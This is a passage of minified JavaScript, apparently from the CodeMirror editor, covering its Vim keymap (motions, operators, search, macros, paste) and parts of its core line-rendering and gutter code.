i=P(a);if(!i)return{type:"none"};c.selectedCharacter=i}return{type:"full",command:f}},processCommand:function(a,b,c){switch(b.inputState.repeatOverride=c.repeatOverride,c.type){case"motion":this.processMotion(a,b,c);break;case"operator":this.processOperator(a,b,c);break;case"operatorMotion":this.processOperatorMotion(a,b,c);break;case"action":this.processAction(a,b,c);break;case"search":this.processSearch(a,b,c);break;case"ex":case"keyToEx":this.processEx(a,b,c)}},processMotion:function(a,b,c){b.inputState.motion=c.motion,b.inputState.motionArgs=K(c.motionArgs),this.evalInput(a,b)},processOperator:function(a,b,c){var d=b.inputState;if(d.operator){if(d.operator==c.operator)return d.motion="expandToLine",d.motionArgs={linewise:!0},void this.evalInput(a,b);A(a)}d.operator=c.operator,d.operatorArgs=K(c.operatorArgs),b.visualMode&&this.evalInput(a,b)},processOperatorMotion:function(a,b,c){var d=b.visualMode,e=K(c.operatorMotionArgs);e&&d&&e.visualLine&&(b.visualLine=!0),this.processOperator(a,b,c),d||this.processMotion(a,b,c)},processAction:function(a,b,c){var d=b.inputState,e=d.getRepeat(),f=!!e,g=K(c.actionArgs)||{};d.selectedCharacter&&(g.selectedCharacter=d.selectedCharacter),c.operator&&this.processOperator(a,b,c),c.motion&&this.processMotion(a,b,c),(c.motion||c.operator)&&this.evalInput(a,b),g.repeat=e||1,g.repeatIsExplicit=f,g.registerName=d.registerName,A(a),b.lastMotion=null,c.isEdit&&this.recordLastEdit(b,d,c),Bb[c.action](a,g,b)},processSearch:function(b,c,d){function e(a,e,f){vb.searchHistoryController.pushInput(a),vb.searchHistoryController.reset();try{Ma(b,a,e,f)}catch(g){return Ia(b,"Invalid regex: "+a),void A(b)}yb.processMotion(b,c,{type:"motion",motion:"findNext",motionArgs:{forward:!0,toJumplist:d.searchArgs.toJumplist}})}function f(a){b.scrollTo(m.left,m.top),e(a,!0,!0);var c=vb.macroModeState;c.isRecording&&_a(c,a)}function g(c,d,e){var f,g,h=a.keyName(c);"Up"==h||"Down"==h?(f="Up"==h,g=c.target?c.target.selectionEnd:0,d=vb.searchHistoryController.nextMatch(d,f)||"",e(d),g&&c.target&&(c.target.selectionEnd=c.target.selectionStart=Math.min(g,c.target.value.length))):"Left"!=h&&"Right"!=h&&"Ctrl"!=h&&"Alt"!=h&&"Shift"!=h&&vb.searchHistoryController.reset();var j;try{j=Ma(b,d,!0,!0)}catch(c){}j?b.scrollIntoView(Pa(b,!i,j),30):(Qa(b),b.scrollTo(m.left,m.top))}function h(c,d,e){var f=a.keyName(c);"Esc"==f||"Ctrl-C"==f||"Ctrl-["==f||"Backspace"==f&&""==d?(vb.searchHistoryController.pushInput(d),vb.searchHistoryController.reset(),Ma(b,l),Qa(b),b.scrollTo(m.left,m.top),a.e_stop(c),A(b),e(),b.focus()):"Up"==f||"Down"==f?a.e_stop(c):"Ctrl-U"==f&&(a.e_stop(c),e(""))}if(b.getSearchCursor){var i=d.searchArgs.forward,j=d.searchArgs.wholeWordOnly;Aa(b).setReversed(!i);var k=i?"/":"?",l=Aa(b).getQuery(),m=b.getScrollInfo();switch(d.searchArgs.querySrc){case"prompt":var n=vb.macroModeState;if(n.isPlaying){var o=n.replaySearchQueries.shift();e(o,!0,!1)}else Ka(b,{onClose:f,prefix:k,desc:Gb,onKeyUp:g,onKeyDown:h});break;case"wordUnderCursor":var p=ma(b,!1,!0,!1,!0),q=!0;if(p||(p=ma(b,!1,!0,!1,!1),q=!1),!p)return;var o=b.getLine(p.start.line).substring(p.start.ch,p.end.ch);o=q&&j?"\\b"+o+"\\b":Z(o),vb.jumpList.cachedCursor=b.getCursor(),b.setCursor(p.start),e(o,!0,!1)}}},processEx:function(b,c,d){function e(a){vb.exCommandHistoryController.pushInput(a),vb.exCommandHistoryController.reset(),Jb.processCommand(b,a)}function f(c,d,e){var f,g,h=a.keyName(c);("Esc"==h||"Ctrl-C"==h||"Ctrl-["==h||"Backspace"==h&&""==d)&&(vb.exCommandHistoryController.pushInput(d),vb.exCommandHistoryController.reset(),a.e_stop(c),A(b),e(),b.focus()),"Up"==h||"Down"==h?(a.e_stop(c),f="Up"==h,g=c.target?c.target.selectionEnd:0,d=vb.exCommandHistoryController.nextMatch(d,f)||"",e(d),g&&c.target&&(c.target.selectionEnd=c.target.selectionStart=Math.min(g,c.target.value.length))):"Ctrl-U"==h?(a.e_stop(c),e("")):"Left"!=h&&"Right"!=h&&"Ctrl"!=h&&"Alt"!=h&&"Shift"!=h&&vb.exCommandHistoryController.reset()}"keyToEx"==d.type?Jb.processCommand(b,d.exArgs.input):c.visualMode?Ka(b,{onClose:e,prefix:":",value:"'<,'>",onKeyDown:f}):Ka(b,{onClose:e,prefix:":",onKeyDown:f})},evalInput:function(a,b){var c,e,f,g=b.inputState,h=g.motion,i=g.motionArgs||{},j=g.operator,k=g.operatorArgs||{},l=g.registerName,m=b.sel,n=R(b.visualMode?J(a,m.head):a.getCursor("head")),o=R(b.visualMode?J(a,m.anchor):a.getCursor("anchor")),p=R(n),q=R(o);if(j&&this.recordLastEdit(b,g),f=void 0!==g.repeatOverride?g.repeatOverride:g.getRepeat(),f>0&&i.explicitRepeat?i.repeatIsExplicit=!0:(i.noRepeat||!i.explicitRepeat&&0===f)&&(f=1,i.repeatIsExplicit=!1),g.selectedCharacter&&(i.selectedCharacter=k.selectedCharacter=g.selectedCharacter),i.repeat=f,A(a),h){var r=zb[h](a,n,i,b);if(b.lastMotion=zb[h],!r)return;if(i.toJumplist){var s=vb.jumpList,t=s.cachedCursor;t?(na(a,t,r),delete s.cachedCursor):na(a,n,r)}r instanceof Array?(e=r[0],c=r[1]):c=r,c||(c=R(n)),b.visualMode?(b.visualBlock&&c.ch===1/0||(c=J(a,c,b.visualBlock)),e&&(e=J(a,e,!0)),e=e||q,m.anchor=e,m.head=c,fa(a),ua(a,b,"<",T(e,c)?e:c),ua(a,b,">",T(e,c)?c:e)):j||(c=J(a,c),a.setCursor(c.line,c.ch))}if(j){if(k.lastSel){e=q;var u=k.lastSel,v=Math.abs(u.head.line-u.anchor.line),w=Math.abs(u.head.ch-u.anchor.ch);c=u.visualLine?d(q.line+v,q.ch):u.visualBlock?d(q.line+v,q.ch+w):u.head.line==u.anchor.line?d(q.line,q.ch+w):d(q.line+v,q.ch),b.visualMode=!0,b.visualLine=u.visualLine,b.visualBlock=u.visualBlock,m=b.sel={anchor:e,head:c},fa(a)}else b.visualMode&&(k.lastSel={anchor:R(m.anchor),head:R(m.head),visualBlock:b.visualBlock,visualLine:b.visualLine});var x,y,z,B,C;if(b.visualMode){if(x=U(m.head,m.anchor),y=V(m.head,m.anchor),z=b.visualLine||k.linewise,B=b.visualBlock?"block":z?"line":"char",C=ga(a,{anchor:x,head:y},B),z){var D=C.ranges;if("block"==B)for(var E=0;E<D.length;E++)D[E].head.ch=X(a,D[E].head.line);else"line"==B&&(D[0].head=d(D[0].head.line+1,0))}}else{if(x=R(e||q),y=R(c||p),T(y,x)){var F=x;x=y,y=F}z=i.linewise||k.linewise,z?ka(a,x,y):i.forward&&ja(a,x,y),B="char";var G=!i.inclusive||z;C=ga(a,{anchor:x,head:y},B,G)}a.setSelections(C.ranges,C.primary),b.lastMotion=null,k.repeat=f,k.registerName=l,k.linewise=z;var H=Ab[j](a,k,C.ranges,q,c);b.visualMode&&ia(a,null!=H),H&&a.setCursor(H)}},recordLastEdit:function(a,b,c){var d=vb.macroModeState;d.isPlaying||(a.lastEditInputState=b,a.lastEditActionCommand=c,d.lastInsertModeChanges.changes=[],d.lastInsertModeChanges.expectCursorActivityForChange=!1)}},zb={moveToTopLine:function(a,b,c){var e=Sa(a).top+c.repeat-1;return d(e,la(a.getLine(e)))},moveToMiddleLine:function(a){var b=Sa(a),c=Math.floor(.5*(b.top+b.bottom));return d(c,la(a.getLine(c)))},moveToBottomLine:function(a,b,c){var e=Sa(a).bottom-c.repeat+1;return d(e,la(a.getLine(e)))},expandToLine:function(a,b,c){var e=b;return d(e.line+c.repeat-1,1/0)},findNext:function(a,b,c){var d=Aa(a),e=d.getQuery();if(e){var f=!c.forward;return f=d.isReversed()?!f:f,Oa(a,e),Pa(a,f,e,c.repeat)}},goToMark:function(a,b,c,d){var e=Ta(a,d,c.selectedCharacter);return e?c.linewise?{line:e.line,ch:la(a.getLine(e.line))}:e:null},moveToOtherHighlightedEnd:function(a,b,c,e){if(e.visualBlock&&c.sameLine){var f=e.sel;return[J(a,d(f.anchor.line,f.head.ch)),J(a,d(f.head.line,f.anchor.ch))]}return[e.sel.head,e.sel.anchor]},jumpToMark:function(a,b,c,e){for(var f=b,g=0;g<c.repeat;g++){var h=f;for(var i in e.marks)if(n(i)){var j=e.marks[i].find(),k=c.forward?T(j,h):T(h,j);if(!(k||c.linewise&&j.line==h.line)){var l=S(h,f),m=c.forward?W(h,j,f):W(f,j,h);(l||m)&&(f=j)}}}return c.linewise&&(f=d(f.line,la(a.getLine(f.line)))),f},moveByCharacters:function(a,b,c){var e=b,f=c.repeat,g=c.forward?e.ch+f:e.ch-f;return d(e.line,g)},moveByLines:function(a,b,c,e){var f=b,g=f.ch;switch(e.lastMotion){case this.moveByLines:case this.moveByDisplayLines:case this.moveByScroll:case this.moveToColumn:case this.moveToEol:g=e.lastHPos;break;default:e.lastHPos=g}var h=c.repeat+(c.repeatOffset||0),i=c.forward?f.line+h:f.line-h,j=a.firstLine(),k=a.lastLine();return i<j&&f.line==j?this.moveToStartOfLine(a,b,c,e):i>k&&f.line==k?this.moveToEol(a,b,c,e):(c.toFirstChar&&(g=la(a.getLine(i)),e.lastHPos=g),e.lastHSPos=a.charCoords(d(i,g),"div").left,d(i,g))},moveByDisplayLines:function(a,b,c,e){var f=b;switch(e.lastMotion){case this.moveByDisplayLines:case this.moveByScroll:case this.moveByLines:case this.moveToColumn:case this.moveToEol:break;default:e.lastHSPos=a.charCoords(f,"div").left}var g=c.repeat,h=a.findPosV(f,c.forward?g:-g,"line",e.lastHSPos);if(h.hitSide)if(c.forward)var i=a.charCoords(h,"div"),j={top:i.top+8,left:e.lastHSPos},h=a.coordsChar(j,"div");else{var k=a.charCoords(d(a.firstLine(),0),"div");k.left=e.lastHSPos,h=a.coordsChar(k,"div")}return e.lastHPos=h.ch,h},moveByPage:function(a,b,c){var d=b,e=c.repeat;return a.findPosV(d,c.forward?e:-e,"page")},moveByParagraph:function(a,b,c){var d=c.forward?1:-1;return wa(a,b,c.repeat,d)},moveByScroll:function(a,b,c,d){var e=a.getScrollInfo(),f=null,g=c.repeat;g||(g=e.clientHeight/(2*a.defaultTextHeight()));var h=a.charCoords(b,"local");c.repeat=g;var f=zb.moveByDisplayLines(a,b,c,d);if(!f)return null;var i=a.charCoords(f,"local");return a.scrollTo(null,e.top+i.top-h.top),f},moveByWords:function(a,b,c){return ra(a,b,c.repeat,!!c.forward,!!c.wordEnd,!!c.bigWord)},moveTillCharacter:function(a,b,c){var d=c.repeat,e=sa(a,d,c.forward,c.selectedCharacter),f=c.forward?-1:1;return oa(f,c),e?(e.ch+=f,e):null},moveToCharacter:function(a,b,c){var d=c.repeat;return oa(0,c),sa(a,d,c.forward,c.selectedCharacter)||b},moveToSymbol:function(a,b,c){var d=c.repeat;return pa(a,d,c.forward,c.selectedCharacter)||b},moveToColumn:function(a,b,c,d){var e=c.repeat;return d.lastHPos=e-1,d.lastHSPos=a.charCoords(b,"div").left,ta(a,e)},moveToEol:function(a,b,c,e){var f=b;e.lastHPos=1/0;var g=d(f.line+c.repeat-1,1/0),h=a.clipPos(g);return h.ch--,e.lastHSPos=a.charCoords(h,"div").left,g},moveToFirstNonWhiteSpaceCharacter:function(a,b){var c=b;return d(c.line,la(a.getLine(c.line)))},moveToMatchedSymbol:function(a,b){for(var c,e=b,f=e.line,g=e.ch,h=a.getLine(f);g<h.length;g++)if(c=h.charAt(g),c&&o(c)){var i=a.getTokenTypeAt(d(f,g+1));if("string"!==i&&"comment"!==i)break}if(g<h.length){var j=a.findMatchingBracket(d(f,g));return j.to}return e},moveToStartOfLine:function(a,b){return d(b.line,0)},moveToLineOrEdgeOfDocument:function(a,b,c){var e=c.forward?a.lastLine():a.firstLine();
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f,g,h=b.state.vim;if(vb.macroModeState.lastInsertModeChanges.inVisualBlock=h.visualBlock,h.visualMode){g=b.getSelection();var i=G("",e.length);b.replaceSelections(i),f=U(e[0].head,e[0].anchor)}else{var j=e[0].anchor,k=e[0].head;g=b.getRange(j,k);var l=h.lastEditInputState||{};if("moveByWords"==l.motion&&!r(g)){var m=/\s+$/.exec(g);m&&l.motionArgs&&l.motionArgs.forward&&(k=L(k,0,-m[0].length),g=g.slice(0,-m[0].length))}var n=new d(j.line-1,Number.MAX_VALUE),o=b.firstLine()==b.lastLine();k.line>b.lastLine()&&c.linewise&&!o?b.replaceRange("",n,k):b.replaceRange("",j,k),c.linewise&&(o||(b.setCursor(n),a.commands.newlineAndIndent(b)),j.ch=Number.MAX_VALUE),f=j}vb.registerController.pushText(c.registerName,"change",g,c.linewise,e.length>1),Bb.enterInsertMode(b,{head:f},b.state.vim)},"delete":function(a,b,c){var e,f,g=a.state.vim;if(g.visualBlock){f=a.getSelection();var h=G("",c.length);a.replaceSelections(h),e=c[0].anchor}else{var i=c[0].anchor,j=c[0].head;b.linewise&&j.line!=a.firstLine()&&i.line==a.lastLine()&&i.line==j.line-1&&(i.line==a.firstLine()?i.ch=0:i=d(i.line-1,X(a,i.line-1))),f=a.getRange(i,j),a.replaceRange("",i,j),e=i,b.linewise&&(e=zb.moveToFirstNonWhiteSpaceCharacter(a,i))}return vb.registerController.pushText(b.registerName,"delete",f,b.linewise,g.visualBlock),J(a,e)},indent:function(a,b,c){var d=a.state.vim,e=c[0].anchor.line,f=d.visualBlock?c[c.length-1].anchor.line:c[0].head.line,g=d.visualMode?b.repeat:1;b.linewise&&f--;for(var h=e;h<=f;h++)for(var i=0;i<g;i++)a.indentLine(h,b.indentRight);return zb.moveToFirstNonWhiteSpaceCharacter(a,c[0].anchor)},changeCase:function(a,b,c,d,e){for(var f=a.getSelections(),g=[],h=b.toLower,i=0;i<f.length;i++){var j=f[i],k="";if(h===!0)k=j.toLowerCase();else if(h===!1)k=j.toUpperCase();else for(var l=0;l<j.length;l++){var m=j.charAt(l);k+=q(m)?m.toLowerCase():m.toUpperCase()}g.push(k)}return a.replaceSelections(g),b.shouldMoveCursor?e:!a.state.vim.visualMode&&b.linewise&&c[0].anchor.line+1==c[0].head.line?zb.moveToFirstNonWhiteSpaceCharacter(a,d):b.linewise?d:U(c[0].anchor,c[0].head)},yank:function(a,b,c,d){var e=a.state.vim,f=a.getSelection(),g=e.visualMode?U(e.sel.anchor,e.sel.head,c[0].head,c[0].anchor):d;return vb.registerController.pushText(b.registerName,"yank",f,b.linewise,e.visualBlock),g}},Bb={jumpListWalk:function(a,b,c){if(!c.visualMode){var d=b.repeat,e=b.forward,f=vb.jumpList,g=f.move(a,e?d:-d),h=g?g.find():void 0;h=h?h:a.getCursor(),a.setCursor(h)}},scroll:function(a,b,c){if(!c.visualMode){var d=b.repeat||1,e=a.defaultTextHeight(),f=a.getScrollInfo().top,g=e*d,h=b.forward?f+g:f-g,i=R(a.getCursor()),j=a.charCoords(i,"local");if(b.forward)h>j.top?(i.line+=(h-j.top)/e,i.line=Math.ceil(i.line),a.setCursor(i),j=a.charCoords(i,"local"),a.scrollTo(null,j.top)):a.scrollTo(null,h);else{var k=h+a.getScrollInfo().clientHeight;k<j.bottom?(i.line-=(j.bottom-k)/e,i.line=Math.floor(i.line),a.setCursor(i),j=a.charCoords(i,"local"),a.scrollTo(null,j.bottom-a.getScrollInfo().clientHeight)):a.scrollTo(null,h)}}},scrollToCursor:function(a,b){var c=a.getCursor().line,e=a.charCoords(d(c,0),"local"),f=a.getScrollInfo().clientHeight,g=e.top,h=e.bottom-g;switch(b.position){case"center":g=g-f/2+h;break;case"bottom":g=g-f+h}a.scrollTo(null,g)},replayMacro:function(a,b,c){var d=b.selectedCharacter,e=b.repeat,f=vb.macroModeState;for("@"==d&&(d=f.latestRegister);e--;)Ya(a,c,f,d)},enterMacroRecordMode:function(a,b){var c=vb.macroModeState,d=b.selectedCharacter;vb.registerController.isValidRegister(d)&&c.enterMacroRecordMode(a,d)},toggleOverwrite:function(b){b.state.overwrite?(b.toggleOverwrite(!1),b.setOption("keyMap","vim-insert"),a.signal(b,"vim-mode-change",{mode:"insert"})):(b.toggleOverwrite(!0),b.setOption("keyMap","vim-replace"),a.signal(b,"vim-mode-change",{mode:"replace"}))},enterInsertMode:function(b,c,e){if(!b.getOption("readOnly")){e.insertMode=!0,e.insertModeRepeat=c&&c.repeat||1;var f=c?c.insertAt:null,g=e.sel,h=c.head||b.getCursor("head"),i=b.listSelections().length;if("eol"==f)h=d(h.line,X(b,h.line));else if("charAfter"==f)h=L(h,0,1);else if("firstNonBlank"==f)h=zb.moveToFirstNonWhiteSpaceCharacter(b,h);else if("startOfSelectedArea"==f)e.visualBlock?(h=d(Math.min(g.head.line,g.anchor.line),Math.min(g.head.ch,g.anchor.ch)),i=Math.abs(g.head.line-g.anchor.line)+1):h=g.head.line<g.anchor.line?g.head:d(g.anchor.line,0);else if("endOfSelectedArea"==f)e.visualBlock?(h=d(Math.min(g.head.line,g.anchor.line),Math.max(g.head.ch+1,g.anchor.ch)),i=Math.abs(g.head.line-g.anchor.line)+1):h=g.head.line>=g.anchor.line?L(g.head,0,1):d(g.anchor.line,0);else if("inplace"==f&&e.visualMode)return;b.setOption("disableInput",!1),c&&c.replace?(b.toggleOverwrite(!0),b.setOption("keyMap","vim-replace"),a.signal(b,"vim-mode-change",{mode:"replace"})):(b.toggleOverwrite(!1),b.setOption("keyMap","vim-insert"),a.signal(b,"vim-mode-change",{mode:"insert"})),vb.macroModeState.isPlaying||(b.on("change",ab),a.on(b.getInputField(),"keydown",fb)),e.visualMode&&ia(b),aa(b,h,i)}},toggleVisualMode:function(b,c,e){var f,g=c.repeat,h=b.getCursor();e.visualMode?e.visualLine^c.linewise||e.visualBlock^c.blockwise?(e.visualLine=!!c.linewise,e.visualBlock=!!c.blockwise,a.signal(b,"vim-mode-change",{mode:"visual",subMode:e.visualLine?"linewise":e.visualBlock?"blockwise":""}),fa(b)):ia(b):(e.visualMode=!0,e.visualLine=!!c.linewise,e.visualBlock=!!c.blockwise,f=J(b,d(h.line,h.ch+g-1),!0),e.sel={anchor:h,head:f},a.signal(b,"vim-mode-change",{mode:"visual",subMode:e.visualLine?"linewise":e.visualBlock?"blockwise":""}),fa(b),ua(b,e,"<",U(h,f)),ua(b,e,">",V(h,f)))},reselectLastSelection:function(b,c,d){var e=d.lastSelection;if(d.visualMode&&da(b,d),e){var f=e.anchorMark.find(),g=e.headMark.find();if(!f||!g)return;d.sel={anchor:f,head:g},d.visualMode=!0,d.visualLine=e.visualLine,d.visualBlock=e.visualBlock,fa(b),ua(b,d,"<",U(f,g)),ua(b,d,">",V(f,g)),a.signal(b,"vim-mode-change",{mode:"visual",subMode:d.visualLine?"linewise":d.visualBlock?"blockwise":""})}},joinLines:function(a,b,c){var e,f;if(c.visualMode){if(e=a.getCursor("anchor"),f=a.getCursor("head"),T(f,e)){var g=f;f=e,e=g}f.ch=X(a,f.line)-1}else{var h=Math.max(b.repeat,2);e=a.getCursor(),f=J(a,d(e.line+h-1,1/0))}for(var i=0,j=e.line;j<f.line;j++){i=X(a,e.line);var g=d(e.line+1,X(a,e.line+1)),k=a.getRange(e,g);k=k.replace(/\n\s*/g," "),a.replaceRange(k,e,g)}var l=d(e.line,i);c.visualMode&&ia(a,!1),a.setCursor(l)},newLineAndEnterInsertMode:function(b,c,e){e.insertMode=!0;var f=R(b.getCursor());if(f.line!==b.firstLine()||c.after){f.line=c.after?f.line:f.line-1,f.ch=X(b,f.line),b.setCursor(f);var g=a.commands.newlineAndIndentContinueComment||a.commands.newlineAndIndent;g(b)}else b.replaceRange("\n",d(b.firstLine(),0)),b.setCursor(b.firstLine(),0);this.enterInsertMode(b,{repeat:c.repeat},e)},paste:function(a,b,c){var e=R(a.getCursor()),f=vb.registerController.getRegister(b.registerName),g=f.toString();if(g){if(b.matchIndent){var h=a.getOption("tabSize"),i=function(a){var b=a.split("\t").length-1,c=a.split(" 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":g[q]}e.ch+=b.after?1:0}var r,s;if(c.visualMode){c.lastPastedText=g;var t,u=ca(a,c),v=u[0],w=u[1],x=a.getSelection(),y=a.listSelections(),z=new Array(y.length).join("1").split("1");c.lastSelection&&(t=c.lastSelection.headMark.find()),vb.registerController.unnamedRegister.setText(x),p?(a.replaceSelections(z),w=d(v.line+g.length-1,v.ch),a.setCursor(v),_(a,w),a.replaceSelections(g),r=v):c.visualBlock?(a.replaceSelections(z),a.setCursor(v),a.replaceRange(g,v,v),r=v):(a.replaceRange(g,v,w),r=a.posFromIndex(a.indexFromPos(v)+g.length-1)),t&&(c.lastSelection.headMark=a.setBookmark(t)),o&&(r.ch=0)}else if(p){a.setCursor(e);for(var q=0;q<g.length;q++){var A=e.line+q;A>a.lastLine()&&a.replaceRange("\n",d(A,0));var B=X(a,A);B<e.ch&&$(a,A,e.ch)}a.setCursor(e),_(a,d(e.line+g.length-1,e.ch)),a.replaceSelections(g),r=e}else a.replaceRange(g,e),o&&b.after?r=d(e.line+1,la(a.getLine(e.line+1))):o&&!b.after?r=d(e.line,la(a.getLine(e.line))):!o&&b.after?(s=a.indexFromPos(e),r=a.posFromIndex(s+g.length-1)):(s=a.indexFromPos(e),r=a.posFromIndex(s+g.length));c.visualMode&&ia(a,!1),a.setCursor(r)}},undo:function(b,c){b.operation(function(){Q(b,a.commands.undo,c.repeat)(),b.setCursor(b.getCursor("anchor"))})},redo:function(b,c){Q(b,a.commands.redo,c.repeat)()},setRegister:function(a,b,c){c.inputState.registerName=b.selectedCharacter},setMark:function(a,b,c){var d=b.selectedCharacter;ua(a,c,d,a.getCursor())},replace:function(b,c,e){var f,g,h=c.selectedCharacter,i=b.getCursor(),j=b.listSelections();if(e.visualMode)i=b.getCursor("start"),g=b.getCursor("end");else{var k=b.getLine(i.line);f=i.ch+c.repeat,f>k.length&&(f=k.length),g=d(i.line,f)}if("\n"==h)e.visualMode||b.replaceRange("",i,g),(a.commands.newlineAndIndentContinueComment||a.commands.newlineAndIndent)(b);else{var l=b.getRange(i,g);if(l=l.replace(/[^\n]/g,h),e.visualBlock){var m=new Array(b.getOption("tabSize")+1).join(" ");l=b.getSelection(),l=l.replace(/\t/g,m).replace(/[^\n]/g,h).split("\n"),b.replaceSelections(l)}else b.replaceRange(l,i,g);e.visualMode?(i=T(j[0].anchor,j[0].head)?j[0].anchor:j[0].head,b.setCursor(i),ia(b,!1)):b.setCursor(L(g,0,-1))}},incrementNumberToken:function(a,b){for(var c,e,f,g,h,i=a.getCursor(),j=a.getLine(i.line),k=/-?\d+/g;null!==(c=k.exec(j))&&(h=c[0],e=c.index,f=e+h.length,!(i.ch<f)););if((b.backtrack||!(f<=i.ch))&&h){var l=b.increase?1:-1,m=parseInt(h)+l*b.repeat,n=d(i.line,e),o=d(i.line,f);g=m.toString(),a.replaceRange(g,n,o),a.setCursor(d(i.line,e+g.length-1))}},repeatLastEdit:function(a,b,c){var d=c.lastEditInputState;if(d){var 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ob(a,b,c,e,f,g,h){if(b){var i,j=a.splitSpaces?pb(b,a.trailingSpace):b,k=a.cm.state.specialChars,l=!1;if(k.test(b)){i=document.createDocumentFragment();for(var m=0;;){k.lastIndex=m;var n=k.exec(b),p=n?n.index-m:b.length-m;if(p){var q=document.createTextNode(j.slice(m,m+p));ng&&og<9?i.appendChild(d("span",[q])):i.appendChild(q),a.map.push(a.pos,a.pos+p,q),a.col+=p,a.pos+=p}if(!n)break;m+=p+1;var r=void 0;if("\t"==n[0]){var s=a.cm.options.tabSize,t=s-a.col%s;r=i.appendChild(d("span",o(t),"cm-tab")),r.setAttribute("role","presentation"),r.setAttribute("cm-text","\t"),a.col+=t}else"\r"==n[0]||"\n"==n[0]?(r=i.appendChild(d("span","\r"==n[0]?"\u240d":"\u2424","cm-invalidchar")),r.setAttribute("cm-text",n[0]),a.col+=1):(r=a.cm.options.specialCharPlaceholder(n[0]),r.setAttribute("cm-text",n[0]),ng&&og<9?i.appendChild(d("span",[r])):i.appendChild(r),a.col+=1);a.map.push(a.pos,a.pos+1,r),a.pos++}}else a.col+=b.length,i=document.createTextNode(j),a.map.push(a.pos,a.pos+b.length,i),ng&&og<9&&(l=!0),a.pos+=b.length;if(a.trailingSpace=32==j.charCodeAt(b.length-1),c||e||f||l||h){var u=c||"";e&&(u+=e),f&&(u+=f);var v=d("span",[i],u,h);return g&&(v.title=g),a.content.appendChild(v)}a.content.appendChild(i)}}function pb(a,b){if(a.length>1&&!/  /.test(a))return a;for(var c=b,d="",e=0;e<a.length;e++){var f=a.charAt(e);" "!=f||!c||e!=a.length-1&&32!=a.charCodeAt(e+1)||(f="\xa0"),d+=f,c=" "==f}return d}function qb(a,b){return function(c,d,e,f,g,h,i){e=e?e+" cm-force-border":"cm-force-border";for(var j=c.pos,k=j+d.length;;){for(var l=void 0,m=0;m<b.length&&(l=b[m],!(l.to>j&&l.from<=j));m++);if(l.to>=k)return a(c,d,e,f,g,h,i);a(c,d.slice(0,l.to-j),e,f,null,h,i),f=null,d=d.slice(l.to-j),j=l.to}}}function rb(a,b,c,d){var e=!d&&c.widgetNode;e&&a.map.push(a.pos,a.pos+b,e),!d&&a.cm.display.input.needsContentAttribute&&(e||(e=a.content.appendChild(document.createElement("span"))),e.setAttribute("cm-marker",c.id)),e&&(a.cm.display.input.setUneditable(e),a.content.appendChild(e)),a.pos+=b,a.trailingSpace=!1}function sb(a,b,c){var d=a.markedSpans,e=a.text,f=0;if(d)for(var g,h,i,j,k,l,m,n=e.length,o=0,p=1,q="",r=0;;){if(r==o){i=j=k=l=h="",m=null,r=1/0;for(var s=[],t=void 0,u=0;u<d.length;++u){var v=d[u],w=v.marker;"bookmark"==w.type&&v.from==o&&w.widgetNode?s.push(w):v.from<=o&&(null==v.to||v.to>o||w.collapsed&&v.to==o&&v.from==o)?(null!=v.to&&v.to!=o&&r>v.to&&(r=v.to,j=""),w.className&&(i+=" "+w.className),w.css&&(h=(h?h+";":"")+w.css),w.startStyle&&v.from==o&&(k+=" "+w.startStyle),w.endStyle&&v.to==r&&(t||(t=[])).push(w.endStyle,v.to),w.title&&!l&&(l=w.title),w.collapsed&&(!m||ga(m.marker,w)<0)&&(m=v)):v.from>o&&r>v.from&&(r=v.from)}if(t)for(var x=0;x<t.length;x+=2)t[x+1]==r&&(j+=" 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e=a.ops[d];if(e.cursorActivityHandlers)for(;e.cursorActivityCalled<e.cursorActivityHandlers.length;)e.cursorActivityHandlers[e.cursorActivityCalled++].call(null,e.cm)}}while(c<b.length)}function xb(a,b){var c=a.ownsGroup;if(c)try{wb(c)}finally{nh=null,b(c)}}function yb(a,b){var c=Ca(a,b);if(c.length){var d,e=Array.prototype.slice.call(arguments,2);nh?d=nh.delayedCallbacks:oh?d=oh:(d=oh=[],setTimeout(zb,0));for(var f=function(a){d.push(function(){return c[a].apply(null,e)})},g=0;g<c.length;++g)f(g)}}function zb(){var a=oh;oh=null;for(var b=0;b<a.length;++b)a[b]()}function Ab(a,b,c,d){for(var e=0;e<b.changes.length;e++){var f=b.changes[e];"text"==f?Eb(a,b):"gutter"==f?Gb(a,b,c,d):"class"==f?Fb(a,b):"widget"==f&&Hb(a,b,d)}b.changes=null}function Bb(a){return a.node==a.text&&(a.node=d("div",null,null,"position: relative"),a.text.parentNode&&a.text.parentNode.replaceChild(a.node,a.text),a.node.appendChild(a.text),ng&&og<8&&(a.node.style.zIndex=2)),a.node}function Cb(a,b){var c=b.bgClass?b.bgClass+" "+(b.line.bgClass||""):b.line.bgClass;if(c&&(c+=" CodeMirror-linebackground"),b.background)c?b.background.className=c:(b.background.parentNode.removeChild(b.background),b.background=null);else if(c){var e=Bb(b);b.background=e.insertBefore(d("div",null,c),e.firstChild),a.display.input.setUneditable(b.background)}}function Db(a,b){var c=a.display.externalMeasured;return c&&c.line==b.line?(a.display.externalMeasured=null,b.measure=c.measure,c.built):mb(a,b)}function Eb(a,b){var c=b.text.className,d=Db(a,b);b.text==b.node&&(b.node=d.pre),b.text.parentNode.replaceChild(d.pre,b.text),b.text=d.pre,d.bgClass!=b.bgClass||d.textClass!=b.textClass?(b.bgClass=d.bgClass,b.textClass=d.textClass,Fb(a,b)):c&&(b.text.className=c)}function Fb(a,b){Cb(a,b),b.line.wrapClass?Bb(b).className=b.line.wrapClass:b.node!=b.text&&(b.node.className="");var c=b.textClass?b.textClass+" "+(b.line.textClass||""):b.line.textClass;b.text.className=c||""}function Gb(a,b,c,e){if(b.gutter&&(b.node.removeChild(b.gutter),b.gutter=null),b.gutterBackground&&(b.node.removeChild(b.gutterBackground),b.gutterBackground=null),b.line.gutterClass){var f=Bb(b);b.gutterBackground=d("div",null,"CodeMirror-gutter-background "+b.line.gutterClass,"left: "+(a.options.fixedGutter?e.fixedPos:-e.gutterTotalWidth)+"px; width: "+e.gutterTotalWidth+"px"),a.display.input.setUneditable(b.gutterBackground),f.insertBefore(b.gutterBackground,b.text)}var g=b.line.gutterMarkers;if(a.options.lineNumbers||g){var h=Bb(b),i=b.gutter=d("div",null,"CodeMirror-gutter-wrapper","left: "+(a.options.fixedGutter?e.fixedPos:-e.gutterTotalWidth)+"px");if(a.display.input.setUneditable(i),h.insertBefore(i,b.text),b.line.gutterClass&&(i.className+=" "+b.line.gutterClass),!a.options.lineNumbers||g&&g["CodeMirror-linenumbers"]||(b.lineNumber=i.appendChild(d("div",I(a.options,c),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+e.gutterLeft["CodeMirror-linenumbers"]+"px; width: 